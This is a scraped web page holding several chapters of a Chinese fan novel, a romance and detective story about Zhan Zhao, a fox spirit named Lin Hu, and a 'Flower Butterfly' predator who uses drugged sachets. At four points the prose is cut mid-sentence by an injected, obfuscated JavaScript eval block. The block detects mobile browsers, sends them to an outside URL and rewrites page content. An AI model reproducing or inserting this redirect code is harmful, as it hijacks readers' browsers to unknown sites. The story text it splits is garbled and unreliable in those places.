林狐晃了晃脑袋,尾巴从裙摆下探出来,摇摇晃晃地扫着地面:“我没醉……”话音刚落,脚下就打了个趔趄,若非展昭眼疾手快扶住她,怕是要摔进路边的花丛里。 “还说没醉。”展昭无奈地叹了口气,干脆弯腰将她打横抱起。林狐惊呼一声,下意识地搂住他的脖子,鼻尖蹭到他的下颌,闻到那熟悉的皂角香混着淡淡的酒气,突然咯咯笑起来:“展昭,你身上好香啊……比小莲的桂花酒还香……” 她的呼吸带着米酒的甜,喷在他颈间,像团温热的火。展昭抱着她的手臂紧了紧,加快脚步往开封府走——再让她闹下去,指不定要说出什么胡话来。 ***回到府衙时,偏厅里还亮着灯。公孙策正在整理药箱,见展昭抱着林狐进来,不由笑道:“这是喝了多少?脸都红透了。” “就半杯米酒。”展昭把林狐放在软榻上,刚想直起身,就被她拽住了衣袖。林狐睁着水汪汪的眼睛,尾巴缠上他的手腕:“别走……陪我玩……” “听话,该睡了。”展昭试图掰开她的爪子,却被她拽得更紧。她突然打了个酒嗝,眼睛里的清明散了大半,竟当着公孙策的面,“噗”地变回了狐狸模样,毛茸茸的一团缩在榻上,爪子还死死扒着他的袖口。 公孙策看得直乐:“看来是真醉了,连人形都维持不住了。”他收拾好药箱,冲展昭挤了挤眼,“我先回房了,你……好好照看她。” 展昭看着公孙策意味深长的背影,耳根微微发烫。他低头看向软榻上的小狐狸,她正用脑袋蹭他的手背,喉咙里发出“呼噜呼噜”的声响,像只满足的小猫。 “安分点。”他揉了揉她的头,转身想去倒杯醒酒茶,刚走到桌边,就听见身后传来“窸窸窣窣”的响动。回头一看,林狐不知何时从榻上跳了下来,正摇摇晃晃地往桌底钻,尾巴在地上拖出一道歪歪扭扭的痕。 “你去哪?”展昭哭笑不得,刚想把她捞出来,就见她从桌底钻了个对穿,大概是觉得好玩,又调转方向,一头往他这边冲—— “砰!” 一声闷响,毛茸茸的小家伙结结实实地撞进了他怀里。展昭下意识地伸手去接,掌心托住的竟是一团温软的重量——是她的肚子。林狐被撞得晕乎乎的,脑袋在他衣襟上蹭了蹭,突然扬起尾巴一扫,“啪”地一声,他束在头顶的官帽被扫落在地,乌发如瀑布般散下来,垂在脸颊两侧。 “嗷呜……”林狐抬起头,豆豆眼眯成了一条缝,鼻尖凑到他颈边,深深吸了口气。酒气混着她身上特有的甜香——那是狐狸自带的、像刚剥开的蜜橘般的气息——顺着他的领口钻进去,痒得他心口发麻。 展昭这才发现,自己竟是半蹲着,双手托在她的后肢下方,指尖无意识地摩挲着她后背的绒毛。那绒毛被酒气熏得微热,软得像团云,蹭得他指腹发痒。 ***“这是……怎么了?”蒋平推开门进来,手里还拿着个酒葫芦,一见眼前这情景,顿时笑出了声,“林狐姑娘这是?喝醉了钻展护卫怀里撒娇呢?” 周围闻声赶来的衙役也跟着笑起来,烛火在他们脸上跳动,映出善意的打趣。展昭的耳根更红了,却没抬头,只是用下巴指了指怀里醉得晕头转向的小家伙,声音低沉而平静:“喝多了。” 话音刚落,手臂却不自觉地收紧,将她抱得更紧了些,仿佛怕这团暖乎乎的小东西从怀里溜走。 林狐似乎被笑声吵到了,不满地“呜呜”两声,脑袋往他颈窝里钻得更深。她的呼吸带着米酒的甜,烫烫地落在他的皮肤上,像无数根细小的针,轻轻刺着他隐忍的神经。 展昭的身体瞬间僵住。他能清晰地感受到她毛茸茸的耳朵蹭过他的喉结,感受到她温热的小鼻子碰着他的锁骨,感受到她蓬松的尾巴不知何时已经圈住了他的腰,一圈又一圈,像打了个死结的红绳,紧实得解不开,也……不想解。 烛火在梁上噼啪作响,将两人的影子投在梁柱上。他的影子高大挺拔,稳稳地托着怀里的小影子,那团灰扑扑的影子缩成小小的一团,尾巴却嚣张地环着他的腰,像在宣示主权。 “看来是真把展护卫当靠山了。”蒋平摇着扇子,笑得眼睛都眯起来了,“往常见了我们,不是龇牙就是瞪眼,也就对你,温顺得像只家猫。” 展昭没接话,只是低头看着怀里的林狐。她大概是舒服了,竟在他颈窝里打起了小呼噜,温热的气息一阵阵喷在他的皮肤上,顺着血液流遍全身,烧得他有些发慌。 他知道自己不该这样。她是狐妖,他是朝廷命官;她醉得糊涂,他却清醒得很。可指尖下的温软,鼻尖萦绕的甜香,还有颈间那点滚烫的呼吸,都像有魔力似的,让他舍不得松开。 这些日子,他看着她从怯生生的小狐狸,长成能自由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268112|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化形的模样;看着她为张珍抱不平,为小莲哭鼻子;看着她挡在自己身前,后背流着血却还强装镇定……他以为自己能一直守着“护着她”的界限,可不知从何时起,那份守护里,悄悄掺了别的东西。 是温泉庄子里,她赤着脚站在汤池边的模样;是她挡刀时,那句“你不能死”;是她化人形时,耳朵上未褪尽的绒毛;是此刻,她醉醺醺地扑进怀里,毫无防备地依赖着他。 “我先带她回房了。”展昭站起身,小心翼翼地托着怀里的小家伙,生怕惊醒了她。 蒋平挥挥手,眼里却闪过一丝了然的笑。众人识趣地散开,偏厅里很快只剩下烛火跳动的声音。 展昭抱着林狐往卧房走,廊下的月光落在他散落的发上,像铺了层银霜。怀里的小家伙动了动,大概是冷了,往他怀里缩得更紧,尾巴也收得更紧了。 他低头,用脸颊轻轻蹭了蹭她毛茸茸的脑袋,声音轻得像叹息:“傻东西……” 傻得让他心疼,傻得让他心动,傻得让他……想把她藏起来,藏在只有他能看见的地方,再也不让任何人任何事伤害她。 走到卧房门口,展昭轻轻推开门。月光从窗棂溜进来,落在床榻上,像铺了层白纱。他刚想把林狐放在床上,怀里的小家伙却突然醒了,迷迷糊糊地抬起头,豆豆眼在他脸上晃了晃,突然伸出舌头,轻轻舔了舔他的下颌。 柔软的舌尖带着点酒气,像团小火苗,瞬间点燃了展昭隐忍许久的弦。他猛地屏住呼吸,抱着她的手臂青筋微露,眼底翻涌着压抑的浪潮,深不见底。 林狐却毫无所觉,舔完还满足地“嗷呜”了一声,又把头埋回他颈窝,沉沉睡了过去。 展昭站在原地,久久没有动。月光落在他紧绷的侧脸上,能看见他滚动的喉结,和眼底那片被极力压制的、几乎要破堤而出的温柔与……渴望。 他知道,有些东西,再也藏不住了。 就像这醉醺醺的小狐狸,一头撞进了他怀里,也一头撞进了他心里,搅乱了一池春水,再也回不到最初的平静。 展昭低头看着怀里熟睡的脸,缓缓勾起唇角,露出一抹连自己都未察觉的、带着纵容与隐忍的笑。他轻轻将她放在床上,替她盖好被子,却没有离开,只是坐在床边,指尖轻轻拂过她柔软的绒毛。 夜还很长,他有的是时间,等她醒了,好好算这笔“醉后胡闹”的账。 只是那时,他能不能忍住,不把这只偷心的小狐狸,一口“吃”下去? 展昭看着她微微颤动的睫毛,眼底的温柔渐渐沉下去,化作一片深邃的海,藏着连月光都照不透的心思。 21. 情定 卧房里的月光像一汪浅水,静静淌在青砖地上。展昭坐在床边,指尖还残留着林狐绒毛的温软。怀里的小家伙睡得不安稳,时不时咂咂嘴,像是在梦里还惦记着那半杯米酒。他刚想起身吹灭烛火,手腕却被轻轻拽住了。 林狐不知何时醒了,眼睛半睁着,水汽氤氲,像蒙着层薄雾。她已经化回人形,身上的水绿色衣裙皱巴巴的,领口滑到肩头,露出小块皮肤,在月光下泛着瓷白的光。“别走……”她的声音带着浓重的鼻音,尾音拖得长长的,像只撒娇的小猫。 展昭的心跳漏了一拍,刚要开口,就被她拽着跌坐回床边。林狐顺势往他怀里钻,脸颊贴在他的胸口,能清晰地听见他沉稳有力的心跳。“展昭,”她喃喃道,“你的心跳好快……是不是也喝多了?” 他确实“喝多了”,只是醉的不是酒,是她身上的甜香,是她毫无防备的亲近。展昭伸出手,犹豫了一下,终究还是轻轻落在她的背上,指尖顺着脊椎的弧度慢慢滑动,像在安抚一只受惊的小兽。“没喝多。”他的声音哑得厉害,“你头晕不晕?公孙先生那里有醒酒汤。” “不晕。”林狐摇摇头,鼻尖蹭着他的衣襟,把皂角香都蹭到了自己脸上,“我高兴。小莲嫁给张公子了,他们好开心……”她顿了顿,突然抬起头,眼睛在月光下亮得惊人,“展昭,我们也会这样吗?” 展昭的动作猛地顿住。他看着她近在咫尺的脸,睫毛上还沾着点水汽,像落了晨露的蝶翼。她的嘴唇因为喝了酒,泛着水润的红,微微嘟着,带着种不自知的诱惑。“我们……”他喉结滚动,想说些什么,却被她突然凑近的动作堵在了喉咙里。 林狐的吻带着米酒的甜,轻轻落在他的唇角,像一片羽毛拂过,轻得让人心颤。她大概是第一次这样做,生涩得很,只是小心翼翼地碰了碰,就想缩回去。可还没来得及退开,后颈就被轻轻按住了。 展昭的吻接踵而至,不再是她那样的试探,而是带着隐忍已久的渴望,温柔却又强势地撬开她的牙关。他能尝到她舌尖残留的酒香,能感受到她瞬间的僵硬,和随后不由自主的软化。怀里的人像株攀藤的植物,下意识地缠上他的腰,手指攥着他的衣襟,指节都泛了白。 烛火在这时“噼啪”爆了个火星,映得两人交缠的影子在墙上摇晃。展昭的手顺着她的脊背往上,轻轻托住她的后颈,另一只手则牢牢环着她的腰,将她更紧地按在自己怀里。他能闻到她耳后淡淡的狐臊气,混着米酒的甜,变成一种让人迷醉的气息,钻进鼻腔,熨帖着四肢百骸。 林狐的脑子彻底乱了,像被灌满了蜜糖,晕乎乎的。她不知道该做什么,只能笨拙地回应着,尾巴不受控制地从裙摆下探出来,圈住他的腰,一圈又一圈,比在偏厅时更紧,像要勒进彼此的骨血里。 “展昭……”她在吻的间隙里喘息,声音破碎而柔软,带着点哭腔,“我……” “我知道。”展昭打断她,额头抵着她的额头,呼吸交融在一起,烫得惊人,“我也是。” 他不必说太多,她也不必问太多。彼此眼里的情意,像窗外的月光一样明明白白,流淌在每一次触碰里,每一次呼吸间。他低头吻去她眼角的泪,那泪是甜的,带着酒的醇香,和她独有的味道。 ***不知过了多久,吻才渐渐平息。林狐瘫在他怀里,脸颊红得像要滴血,大口大口地喘着气,尾巴却还固执地圈着他的腰,不肯松开。展昭的衣襟被她抓得皱巴巴的,散落的发丝垂在她脸上,带着点微痒的触感。 “疼吗?”他低声问,指尖轻轻抚摸着她的嘴唇——刚才大概是太用力了,那里泛着红肿的色泽。 林狐摇摇头,又点点头,把脸埋进他的颈窝,声音闷闷的:“不疼……就是有点晕。” 展昭笑了,胸腔的震动传到她耳朵里,像温柔的鼓点。他抱着她躺倒在床上,动作轻得像怕碰碎了她。月光透过窗棂照进来,落在两人交握的手上,也落在她露在外面的尾巴上。那尾巴轻轻晃着,扫过他的小腿,带着点慵懒的亲昵。 “展昭,”林狐突然开口,声音带着点刚睡醒的迷糊,“你会不会像张公子对小莲那样对我? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268113|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “会。”展昭毫不犹豫地回答,指尖划过她的眉眼,动作温柔得不像话,“我会比他更好。”他会护着她,疼着她,不管是人是妖,不管前路有多少风雨,他都会牵着她的手,一直走下去。 林狐满足地笑了,往他怀里钻得更深,像只找到温暖巢穴的小兽。她能听见他的心跳,沉稳而有力,像在说“别怕,有我在”。疲惫渐渐袭来,眼皮越来越沉,她打了个哈欠,声音软软的:“展昭,我困了。” “睡吧。”展昭替她盖好被子,手臂依旧环着她的腰,不肯松开,“我在。” 林狐很快就睡着了,呼吸均匀而绵长,偶尔还会咂咂嘴,像是在梦里吃到了什么好吃的。展昭却没有睡意,只是低头看着怀里的人,月光勾勒出她柔和的侧脸轮廓,长长的睫毛在眼睑下投下淡淡的阴影,鼻尖小巧而挺翘。 他想起第一次见她,是在那口枯井里,她缩成毛茸茸的一团,眼神里满是警惕和害怕;想起她第一次化人形,裹着他的官袍,羞涩得像朵含苞待放的花;想起她替他挡刀时,后背流着血,却还强装镇定地说“我没事”;想起她醉醺醺地扑进怀里,尾巴扫掉他的官帽,呼吸烫得他皮肤发麻…… 原来不知不觉间,这只小狐狸已经在他心里,占据了这么重要的位置。 展昭轻轻叹了口气,低头在她额头上印下一个轻柔的吻,像对待稀世珍宝。他调整了个舒服的姿势,让她靠得更稳些,然后闭上眼,将下巴抵在她的发顶。 怀里的温软,鼻尖的甜香,还有腰间那圈毛茸茸的尾巴,都让他觉得无比安心。这大概就是公孙先生说的“红尘”吧,带着烟火气,带着甜腻的暖,让人甘愿沉溺,不愿醒来。 窗外的月光渐渐移了位,照在两人相拥的身影上,温柔得像一层薄纱。烛火不知何时已经燃尽,只剩下点点星火,在黑暗里闪烁,像谁悄悄撒下的祝福。 这一夜,展昭睡得格外安稳。梦里没有案件,没有纷争,只有一只毛茸茸的小狐狸,摇着尾巴,冲他笑得眉眼弯弯。而他知道,这不再是梦。 22. 花蝴蝶的香囊(一) 开封府的晨雾总带着股洗不掉的铁腥气。 寅时三刻,包拯的案头又多了份卷宗。宣纸上的小楷洇着深褐色的泪渍,墨迹在"柳氏"二字处晕成一团,像朵开败的花。这是三月里的第三桩了——前两桩是绣坊的苏婉、吏部侍郎家的三小姐金如眉,皆是未出阁的闺女,皆是在"花蝴蝶"光顾后,吞金的吞金,投井的投井。 "岂有此理!"包拯将惊堂木拍得震天响,砚台里的墨汁溅出三点,落在他花白的胡须上。案头的青铜烛台晃了晃,烛火在他那张黝黑的脸上跳动,映得额间月牙像淬了血。"朗朗乾坤,竟容得这般宵小作祟!展昭!" "末将在。"展昭从暗影里走出,绯红官袍上还沾着晨露。他刚从城南柳家验尸回来,那姑娘悬在房梁上的样子,像片被狂风揉皱的宣纸,青绿色的襦裙下摆还荡着,沾了地上的灰尘,至今还印在眼底。 "给你三日,务必将这''花蝴蝶''缉拿归案!"包拯的声音劈碎了堂内的寂静,瓦檐下的铁马被震得叮当响,"若再让他伤了人命,你我都无颜面对汴京父老!" 展昭单膝跪地,声如寒铁:"末将领命。"玄色的靴底碾过青砖地,带起细尘,像他此刻压抑的怒火。 起身时,他瞥见公孙策递来的眼色。老大夫捻着山羊胡,指节在卷宗上敲了敲——那里画着个歪歪扭扭的蝴蝶香囊,是每个受害者枕边都留下的物件。青缎子上绣着粉蝶,针脚细密,却透着股说不出的诡异。 ***巳时的阳光穿过开封府的朱漆大门,在青石板上投下斑驳的影。林狐蹲在展昭的肩头,尾巴尖勾着他的帽绳晃悠,忽然打了个喷嚏,鼻尖皱成了小红莓。 "难闻死了。"她用爪子捂住鼻子,声音闷闷的,"这香囊上的味道,比西街臭水沟还难闻。甜腻腻的,底下藏着股腥气,像烂掉的桃花。" 展昭停下脚步,从袖中取出那只证物香囊。青缎子被摩挲得发亮,粉蝶的翅膀上沾着点干硬的泥灰。他凑近了闻,除了劣质的脂粉香,确实有股若有似无的腥气,像腐肉混着花蜜,钻进鼻腔时,喉头莫名发紧。 "这是''花蝴蝶''留下的。"他将香囊举到林狐面前,阳光透过薄缎,能看见里面细碎的深色颗粒,"你能闻出什么特别的吗?狐狸的鼻子总比人灵。" 林狐的耳朵唰地竖起来,像两片小雷达。她跳下展昭的肩头,用鼻尖在香囊上蹭了蹭,忽然抬起头,豆豆眼亮得惊人:"有松烟味,是书坊特供的那种陈墨香。还有水腥气,不是汴河的浑腥,是井水里的铁锈味。"她用爪子扒开香囊的抽绳,掉出几粒深褐色的碎屑,"这是桃花瓣,晒得太干,边缘都焦了,像是在炭火上烘过。" 展昭挑眉。他倒是忘了,这狐狸的鼻子比猎犬还灵。"还有吗?" "这线!"林狐突然咬住香囊的边缘,把蝴蝶翅膀扯到阳光下,"这茜草红,染得不均,靠近针脚的地方发暗。全汴京只有三家染坊敢用这种''水浸法''染色,城东的王记、城西的李记,还有......"她顿了顿,尾巴尖扫过地面,"还有戏班街的''醉春风'',他们家的茜草是从江南运的,染出来的红带点紫调。" 展昭颔首。他昨夜去柳家时,柳姑娘的绣筐里确实有团没绣完的丝线,颜色和这香囊上的如出一辙。 两人先去了染坊。王记和李记的掌柜都摇头,说这颜色太娇贵,寻常人家买不起。直到走到戏班街的"醉春风",瘸腿的王掌柜见了香囊,突然往围裙上蹭了蹭手:"这线是上个月卖的,给了''艳春班''的小桃红。那姑娘说要绣个香囊送相好的,还特意嘱咐要最艳的红,说是......说是要像蝴蝶的血。" "艳春班"的后台乱糟糟的,油彩味混着汗味扑面而来。班主是个胖墩墩的中年人,脸上堆着笑,眼角的褶子里却藏着精明。听说他们要查"花蝴蝶",那笑突然僵住,像冻住的猪油:"官爷,我们戏班都是正经人,卖艺不卖身......" "上个月买的茜草红,给了哪个角儿?"展昭打断他,指尖在腰间的剑鞘上轻轻敲着,巨阙剑的寒意透过鞘身渗出来,让空气都凉了三分。 班主支支吾吾半天,才指向角落里一个正在吊嗓的青衣。那姑娘穿着水绿色的戏服,正仰头唱着《游园惊梦》,"原来姹紫嫣红开遍"的调子婉转,可转脸时,展昭却看见她眼底的惊惶,像受惊的鹿。 "小桃红,过来。"班主的声音带着不容置疑的命令。 小桃红放下水袖,手指绞着裙角走到跟前,福了福身。当展昭拿出香囊时,她突然尖叫一声,瘫坐在地上,水绿色的裙摆扫过满地碎纸屑,像只折翼的蝶:"不是我!这不是我绣的!" 林狐从展昭肩头跳下来,凑到她脚边闻了闻,突然抬头:"她怕的不是香囊,是这上面的脂粉味。"她用爪子指了指香囊的系带,"这脂粉里掺了珍珠粉,是''玲珑阁''的''迷迭香'',贵得很,寻常戏子用不起。" 展昭立刻明白过来,追问:"这脂粉是谁的?" 小桃红抖得像筛糠,眼泪混着油彩往下掉,在下巴上冲出两道白痕:"是......是张公子的。他......他总爱用这种''迷迭香'',说是......说是能勾人魂魄......" 张公子,名唤张砚,是个落魄书生,租住在汴河边上的破庙里。据说他常来戏班听戏,总给小桃红送些不值钱的玩意儿——比如用桃核雕的小玩意儿,或是自己写的歪诗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268114|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ***汴河的水是浑浊的绿,像被打翻的砚台。岸边的垂柳把影子泡在水里,像揉碎的翡翠,随波晃荡。破庙的门虚掩着,推开门时,铁锈的门轴发出"吱呀"的惨叫,灰尘在光柱里跳舞,呛得林狐打了个喷嚏。 "有人吗?"展昭的声音在空荡的庙里回荡,惊起梁上几只蝙蝠,扑棱棱地撞向蛛网。 里屋传来窸窣的响动,像老鼠在啃东西。展昭拔刀出鞘,剑身在晨光里闪着冷光,刚要上前,就见一个青衫书生跌跌撞撞跑出来,手里还攥着件粉色的襦裙。那裙子的下摆绣着只粉蝶,翅膀上的金线在阳光下发亮,竟和香囊上的蝴蝶一模一样。 "官爷饶命!我不是故意的!"张砚扑通跪倒在地,青衫的袖子沾了泥,贴在胳膊上,脸白得像宣纸,"是她们自愿的!是她们......是她们先对我笑的!" "柳家姑娘也是自愿的?"展昭的剑抵住他的咽喉,剑尖的寒气让张砚的嘴唇哆嗦起来,"她昨夜悬梁自尽时,脖子上还戴着你送的银簪,簪头刻着的''砚''字,你当我瞎吗?" 张砚的瞳孔骤然收缩,像被踩住的□□,嘴唇哆嗦着说不出话。林狐跳上供桌,叼起他掉在地上的香囊——这只比证物更精致,抽绳上系着颗小小的桃核,里面塞着的不是香料,而是些干枯的桃花瓣,边缘果然带着焦痕。 "他去过桃花林。"林狐化为人形,捡起一片花瓣凑到鼻尖,"这是城东桃林的品种,花瓣边缘有锯齿,别处的桃花没有。"她顿了顿,突然指向张砚的靴子,"他靴底沾着的泥,混着桃胶,黏糊糊的,和柳家后院桃树下的泥一模一样。" 展昭想起柳家姑娘的卧房窗外,确实种着棵老桃树,树干上还缠着去年的红绳。他踢开张砚手里的襦裙,裙角绣着的蝴蝶翅膀里,竟藏着个"砚"字。 "说,你还去过哪里?"展昭的声音冷得像汴河的冰。 张砚瘫在地上,眼泪鼻涕糊了一脸:"我......我去过苏绣坊,给苏姑娘送过诗......还去过金侍郎府外,远远看了金姑娘一眼......她们都对我笑了,她们......" 林狐突然嗤笑一声:"笑?苏姑娘的丫鬟说,她见了你就躲,说你眼神发直,像条饿狼。金姑娘更是让家丁打赶过你三次,你忘了?" 张砚的脸瞬间涨成了猪肝色,突然疯了似的喊道:"她们是装的!她们心里是愿意的!不然为什么收我的香囊?!" 展昭的剑又进了半寸,血珠顺着张砚的脖颈滑下来,滴在青石板上,像朵绽开的红梅:"柳姑娘的香囊里,藏着你的头发。你深夜潜入她房中,还敢说她自愿?" 张砚的声音戛然而止,像被掐住了喉咙。 23. 花蝴蝶的香囊(二) 审讯张砚的过程并不顺利。 开封府的刑房里弥漫着刑具的铁锈味,张砚被捆在柱子上,青衫被汗水浸透,贴在身上像层烂布。他一口咬定自己只是"偷香窃玉",从未逼死过人。 "我只是......只是喜欢看她们害羞的样子。"他舔了舔干裂的嘴唇,眼神里闪着病态的光,瞳孔在烛火下忽大忽小,"那些香囊是定情信物,她们都收了的......苏姑娘还回赠过我一方绣帕,金姑娘......金姑娘虽没接,可她看我的眼神,是含着情意的......" "含着情意?"公孙策推了推眼镜,将一方染血的丝帕放在他面前。帕子上绣着半朵桃花,被血渍晕得发黑,角落里用金线绣着个"婉"字,是苏婉的名字。"苏姑娘吞金前,在帕子上写了''蝶毒''二字,你作何解释?" 张砚的脸色瞬间变得惨白,像被抽走了魂魄。他盯着那帕子,嘴唇哆嗦着,突然开始剧烈挣扎,铁链在柱子上撞出刺耳的声响:"不是我!那不是我做的!是蝴蝶!是花蝴蝶!" "你不就是花蝴蝶?"展昭坐在阴影里,指尖转着枚铜钱,声音平静得可怕,"你房里搜出的香囊,和受害者枕边的一模一样;你靴底的泥,与柳家后院的吻合;你身上的''迷迭香'',小桃红认得......" "我不是!"张砚突然尖叫,声音划破刑房的寂静,"真正的花蝴蝶不是我!我只是......只是模仿他!我看见他留下的香囊,觉得好看,才学着绣的!" 林狐蹲在展昭脚边,尾巴尖不安地扫着地面。她凑近张砚的靴子闻了闻,又跳上桌,嗅了嗅那方带血的帕子,突然开口:"他说的是真的。" 所有人的目光都集中在她身上。林狐化为人形,指着帕子上的血迹:"这血里有股药味,不是张砚身上的''迷迭香'',是另一种香料,混着麝香和蛇床子,是......是催情的药。"她顿了顿,脸色有些发白,"而且,苏姑娘的指甲缝里,有块深蓝色的绸缎碎屑,张砚身上没有这种料子。" 展昭的眉头皱得更紧了。他想起验尸时,苏婉的指甲确实嵌着些异物,当时只当是挣扎时抓到的棉絮,没太在意。 就在这时,衙役匆匆跑进来,手里的灯笼在风中摇晃,照得他脸色惨白:"大人!不好了!城西又出事了!绸缎庄的王小姐......被花蝴蝶光顾了!" 展昭猛地起身,巨阙剑在鞘中发出嗡鸣。 ***王小姐的卧房里弥漫着浓重的脂粉香,甜得发腻,压过了血腥气。她蜷缩在床角,头发散乱如枯草,怀里紧紧抱着个花蝴蝶香囊,眼神空洞得像口枯井。见了展昭,她突然尖叫起来,声音尖利得像指甲刮过玻璃:"蝴蝶!有蝴蝶!好多蝴蝶!" 林狐凑近香囊闻了闻,突然脸色大变,抓住展昭的胳膊:"这上面有迷药!不是张砚用的那种''迷迭香'',是更厉害的''醉仙散''!能让人产生幻觉,还会......还会让人浑身无力。" 展昭的心沉了下去。看来,这"花蝴蝶"不止一个。张砚或许只是个模仿者,真正的凶手,还藏在暗处。 他环顾卧房。梳妆台上的胭脂水粉洒了一地,铜镜摔在地上,裂成了蛛网。窗台上有个脚印,沾着湿泥,和张砚靴底的泥质不同,更细腻,像是从河边来的。 "王小姐睡前,有没有见过什么陌生人?"展昭轻声问,尽量让语气听起来温和。 王小姐的母亲抹着眼泪,哽咽道:"昨晚她去相国寺还愿,回来时说路上遇到个卖花的,给了她一朵桃花,说是能带来姻缘......" "桃花?"林狐突然抬头,"什么样的桃花?" "就是普通的桃花,"王夫人想了想,"只是花梗上缠着根深蓝色的丝线,说是......说是能系住心上人。" 深蓝色的丝线!展昭想起苏婉指甲缝里的碎屑,心头一紧。 ***入夜的汴京像只蛰伏的巨兽。灯笼在巷口摇曳,将人影拉得忽长忽短,像鬼魅的影子。展昭带着林狐守在城西的巷子里,这里是绸缎庄到相国寺的必经之路。桃花瓣被风卷着,落了他满身,绯红的官袍上沾着点点残红,像雪地里溅的血。 林狐缩在他怀里,尾巴圈着他的腰,小声问:"你说,会不会是张砚的同伙?他看着不像有胆子杀人的样子。" "有可能。"展昭望着巷口摇曳的灯笼,指尖无意识地摩挲着剑柄,"张砚虽有劣迹,却胆小如鼠,下不了狠手。真正的凶手,心思缜密,懂得用香料和迷药,还对汴京的地形了如指掌。" 正说着,巷口闪过一道黑影。那人穿着夜行衣,身形瘦削,手里提着个篮子,脚步轻快得像只蝴蝶,踩在石板路上几乎没有声音。展昭对林狐做了个噤声的手势,提气追了上去。 黑影似乎察觉到了,突然拐进一条窄巷。那巷子狭窄得只能容一人通过,两侧的高墙直插云霄,月光都照不进来。展昭紧随其后,却在巷尾失去了踪影。 "奇怪。"他皱眉四顾,墙头上没有脚印,地面上只有几片被踩碎的桃花瓣。 突然,身后传来林狐的惊呼:"展昭!" 回头一看,只见林狐被人用帕子捂住了口鼻,正往一个麻袋里钻,她的尾巴从麻袋口探出来,剧烈地摇晃着,扫得地面沙沙响。一个穿着深蓝色绸缎的人站在她身后,脸上蒙着蝴蝶形状的面罩,手里还把玩着个香囊。 "放开她!"展昭挥剑砍去,剑气劈开夜色,带起一阵风。那人却手腕一转,撒出一把磷粉,火光瞬间亮起,映得他面罩上的蝴蝶像活了过来。 "展护卫,别来无恙?"那人的声音经过变声,尖细得像女人,却带着说不出的阴恻,"这小狐狸的皮毛倒是不错,做成围脖,定能讨姑娘们喜欢。" 展昭的剑带着风声劈过去,那人却像只泥鳅,滑溜溜地躲开了。两人在窄巷里缠斗起来,那人的武功路数很杂,时而像少林拳,时而像武当剑,却异常灵活,总能在间不容发之际避开展昭的剑锋。 展昭渐渐占了上风,巨阙剑的寒光将对方逼得连连后退。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268115|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可就在他要制服对方时,那人突然从怀里抛出一把匕首,不是冲展昭来的,而是直直射向麻袋里的林狐! "小心!"展昭下意识地挡在林狐身前,匕首划破了他的手背,血珠瞬间涌了出来,滴在麻袋上,洇出深色的圆点。 "展昭!"林狐不知何时挣脱了束缚,从麻袋里钻出来,扑到他身边,看着他流血的手,眼圈一下子红了,眼泪像断了线的珠子,砸在他的手背上。 那人趁机要逃,脚尖在墙面上一点,竟想翻墙而去。展昭岂能容他得逞?左手按住林狐的肩将她护在身后,右手扬手甩出三枚铜钱镖,镖尖带着破空之声,精准地打中那人的脚踝。 “啊!”一声痛呼,黑衣人从墙头上摔了下来,重重砸在地上,怀里的篮子翻倒,滚出十几个花蝴蝶香囊,青缎子在月光下泛着诡异的光。展昭上前一步,剑刃抵住他的咽喉,冷声道:“摘下面罩。” 黑衣人挣扎着不肯动,林狐却绕到他面前,伸手揪住他的面罩狠狠一扯——露出的竟是张圆胖的脸,眼角堆着笑纹,正是“艳春班”的班主! “是你?”展昭眼底闪过一丝诧异,随即了然,“小桃红说的张公子,根本就是你吧?你用迷药胁迫那些姑娘,再嫁祸给张砚这个疯子!” 班主瘫在地上,脸色惨白如纸,嘴唇哆嗦着:“我没有……我只是……只是想赚点钱……” “赚钱?”林狐气红了眼,捡起地上的香囊扯开,里面掉出的不是桃花瓣,而是些灰黑色的粉末,“这里面掺了‘醉仙散’和麝香!你明知这些姑娘未出阁,用这种药会毁了她们的名节,你还……”她的声音哽咽起来,尾巴气得直竖,“柳姑娘、苏姑娘、金姑娘……都是被你害死的!” 